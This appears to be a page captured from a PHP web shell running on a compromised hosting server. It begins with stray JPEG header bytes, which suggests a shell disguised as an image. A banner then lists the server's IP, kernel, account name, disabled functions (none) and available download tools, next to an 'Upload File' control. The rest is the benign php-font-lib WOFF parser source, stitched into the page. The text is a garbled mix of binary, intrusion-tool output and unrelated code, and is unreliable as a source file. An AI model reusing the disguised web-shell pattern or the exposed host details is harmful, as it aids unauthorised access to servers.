����JFIF��x�x����'
Server IP : 66.29.137.217 / Your IP : 3.17.73.197 Web Server : LiteSpeed System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : gltevjme ( 1095) PHP Version : 7.0.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/gltevjme/./cbt.bofirm.com/vendor/phenx/php-font-lib/src/FontLib/WOFF/ |
Upload File : |
<?php /** * @package php-font-lib * @link https://github.com/PhenX/php-font-lib * @author Fabien Ménager <fabien.menager@gmail.com> * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License */ namespace FontLib\WOFF; use FontLib\Table\DirectoryEntry; /** * WOFF font file. * * @package php-font-lib * * @property TableDirectoryEntry[] $directory */ class File extends \FontLib\TrueType\File { function parseHeader() { if (!empty($this->header)) { return; } $this->header = new Header($this); $this->header->parse(); } public function load($file) { parent::load($file); $this->parseTableEntries(); $dataOffset = $this->pos() + count($this->directory) * 20; $fw = $this->getTempFile(false); $fr = $this->f; $this->f = $fw; $offset = $this->header->encode(); foreach ($this->directory as $entry) { // Read ... $this->f = $fr; $this->seek($entry->offset); $data = $this->read($entry->length); if ($entry->length < $entry->origLength) { $data = gzuncompress($data); } // Prepare data ... $length = strlen($data); $entry->length = $entry->origLength = $length; $entry->offset = $dataOffset; // Write ... $this->f = $fw; // Woff Entry $this->seek($offset); $offset += $this->write($entry->tag, 4); // tag $offset += $this->writeUInt32($dataOffset); // offset $offset += $this->writeUInt32($length); // length $offset += $this->writeUInt32($length); // origLength $offset += $this->writeUInt32(DirectoryEntry::computeChecksum($data)); // checksum // Data $this->seek($dataOffset); $dataOffset += $this->write($data, $length); } $this->f = $fw; $this->seek(0); // Need to re-parse this, don't know why $this->header = null; $this->directory = array(); $this->parseTableEntries(); } }